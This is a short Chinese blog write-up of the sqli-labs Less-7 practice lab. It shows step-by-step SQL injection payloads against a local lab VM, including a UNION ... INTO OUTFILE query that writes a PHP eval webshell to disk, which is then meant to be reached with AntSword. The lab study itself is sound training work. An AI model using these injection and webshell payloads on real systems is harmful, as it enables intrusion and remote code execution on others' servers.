Sqli-labs

GET - Dump into outfile - String(导出文件GET字符型注入)

尝试?id=1',报错;尝试?id=1",无报错。报错说明id后面跟的是单引号。

继续构造,发现?id=1')--+报错,?id=1'))--+正常,?id=1')))--+报错

则原语句为(('id'))

字段为3

http://192.168.147.133/Less-7/?id=1%27)) order by 3--+

参数作用

basedir:指定 MySQL 的安装路径
datadir:指定了 MySQL 的数据库文件路径
secure_file_priv:写入路径,为固定值或任意值

需要找到文件路径,鉴于这题没有回显,找一题有回显的来测

http://192.168.147.133/Less-1/?id=0' union select 1,@@basedir,@@datadir --+
http://192.168.147.133/Less-1/?id=0' union select 1,@@secure_file_priv,@@datadir --+

写入一句话,尽管报错,但是写入了

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "/var/lib/mysql/1.php"--+

之后用蚁剑连接

因为我的sqli-labs是拿docker容器搭在虚拟机上的,不知道绝对路径,就罢

[Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
原文地址:https://www.cnblogs.com/echoDetected/p/12834578.html